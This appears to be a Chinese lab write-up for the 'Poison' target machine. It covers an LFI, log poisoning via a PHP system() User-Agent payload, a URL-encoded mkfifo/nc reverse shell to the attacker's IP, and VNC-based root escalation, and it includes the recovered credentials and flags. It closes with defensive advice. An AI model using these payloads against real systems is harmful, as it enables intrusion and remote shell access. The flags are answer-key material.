[Meachines] [Medium] poison LFI+日志投毒+VNC权限提升
字数 1052 2025-08-19 12:40:41

Meachines靶机渗透测试教学:LFI+日志投毒+VNC权限提升

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.84 --min-rate 1000 -sC -sV

扫描结果:

  • 开放端口:
    • 22/tcp: OpenSSH 7.2 (FreeBSD)
    • 80/tcp: Apache httpd 2.4.29 (FreeBSD) PHP/5.6.32

1.2 服务识别

  • 操作系统:FreeBSD
  • Web服务器:Apache 2.4.29
  • PHP版本:5.6.32

2. Web应用漏洞利用

2.1 本地文件包含(LFI)漏洞

发现browse.php存在文件包含漏洞:

http://10.10.10.84/browse.php?file=/etc/passwd

2.2 日志投毒攻击

2.2.1 投毒HTTP访问日志

构造恶意User-Agent头:

GET / HTTP/1.1
Host: 10.10.10.84
User-Agent: <?php system($_GET['cmd']); phpinfo(); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

2.2.2 利用投毒的日志执行命令

通过LFI包含日志文件并执行命令:

http://10.10.10.84/browse.php?1=ls%20-la&file=/var/log/httpd-access.log

2.2.3 获取反向Shell

使用curl发送反向Shell命令:

curl 'http://10.10.10.84/browse.php?1=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.24%2010032%20%3E%2Ftmp%2Ff&file=/var/log/httpd-access.log'

3. 权限提升

3.1 获取用户凭据

发现密码备份文件pwdbackup.txt,使用多次base64解码:

data=$(cat data); for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done; echo $data

得到密码:Charix!2#4%6&8(0

3.2 切换到charix用户

su charix
# 或通过SSH
ssh charix@10.10.10.84

获取user flag:

eaacdfb2d141b72a589233063604209c

3.3 发现VNC服务

检查网络连接和进程:

netstat -an -p tcp
ps -auwwx | grep vnc

发现VNC服务运行在5901端口,且以root权限运行:

Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1

3.4 获取VNC密码文件

从目标系统下载secret.zip:

scp charix@10.10.10.84:/home/charix/secret.zip .

解压密码:Charix!2#4%6&8(0)

3.5 建立SSH隧道连接VNC

ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84

3.6 使用VNC客户端连接

vncviewer 127.0.0.1:5901 -passwd secret

3.7 获取root flag

716d04b188419cf2bb99d891272361f5

4. 关键知识点总结

  1. LFI漏洞利用

    • 通过文件包含参数读取系统敏感文件
    • 结合日志文件实现RCE
  2. 日志投毒技术

    • 通过修改HTTP头注入恶意代码
    • 利用服务器记录日志的特性执行代码
  3. VNC权限提升

    • 识别以root权限运行的VNC服务
    • 通过SSH隧道绕过本地限制
    • 使用获取的密码文件进行认证
  4. 密码破解技巧

    • 多次base64解码隐藏的密码
    • 密码重用分析
  5. FreeBSD系统特性

    • 进程查看命令差异(ps -auwwx)
    • 网络连接查看命令(netstat -an -p tcp)

5. 防御建议

  1. 修复LFI漏洞:

    • 对文件包含参数进行严格过滤
    • 禁用危险的PHP函数
  2. 日志安全:

    • 将日志文件存放在web目录外
    • 对日志文件设置严格权限
  3. VNC服务安全:

    • 避免以root权限运行VNC
    • 使用更安全的认证方式
    • 限制VNC访问来源
  4. 密码管理:

    • 避免明文或简单编码存储密码
    • 实施密码复杂度要求
    • 避免密码重用
Meachines靶机渗透测试教学:LFI+日志投毒+VNC权限提升 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 扫描结果: 开放端口: 22/tcp: OpenSSH 7.2 (FreeBSD) 80/tcp: Apache httpd 2.4.29 (FreeBSD) PHP/5.6.32 1.2 服务识别 操作系统:FreeBSD Web服务器:Apache 2.4.29 PHP版本:5.6.32 2. Web应用漏洞利用 2.1 本地文件包含(LFI)漏洞 发现 browse.php 存在文件包含漏洞: 2.2 日志投毒攻击 2.2.1 投毒HTTP访问日志 构造恶意User-Agent头: 2.2.2 利用投毒的日志执行命令 通过LFI包含日志文件并执行命令: 2.2.3 获取反向Shell 使用curl发送反向Shell命令: 3. 权限提升 3.1 获取用户凭据 发现密码备份文件 pwdbackup.txt ,使用多次base64解码: 得到密码: Charix!2#4%6&8(0 3.2 切换到charix用户 获取user flag: 3.3 发现VNC服务 检查网络连接和进程: 发现VNC服务运行在5901端口,且以root权限运行: 3.4 获取VNC密码文件 从目标系统下载secret.zip: 解压密码: Charix!2#4%6&8(0) 3.5 建立SSH隧道连接VNC 3.6 使用VNC客户端连接 3.7 获取root flag 4. 关键知识点总结 LFI漏洞利用 : 通过文件包含参数读取系统敏感文件 结合日志文件实现RCE 日志投毒技术 : 通过修改HTTP头注入恶意代码 利用服务器记录日志的特性执行代码 VNC权限提升 : 识别以root权限运行的VNC服务 通过SSH隧道绕过本地限制 使用获取的密码文件进行认证 密码破解技巧 : 多次base64解码隐藏的密码 密码重用分析 FreeBSD系统特性 : 进程查看命令差异(ps -auwwx) 网络连接查看命令(netstat -an -p tcp) 5. 防御建议 修复LFI漏洞: 对文件包含参数进行严格过滤 禁用危险的PHP函数 日志安全: 将日志文件存放在web目录外 对日志文件设置严格权限 VNC服务安全: 避免以root权限运行VNC 使用更安全的认证方式 限制VNC访问来源 密码管理: 避免明文或简单编码存储密码 实施密码复杂度要求 避免密码重用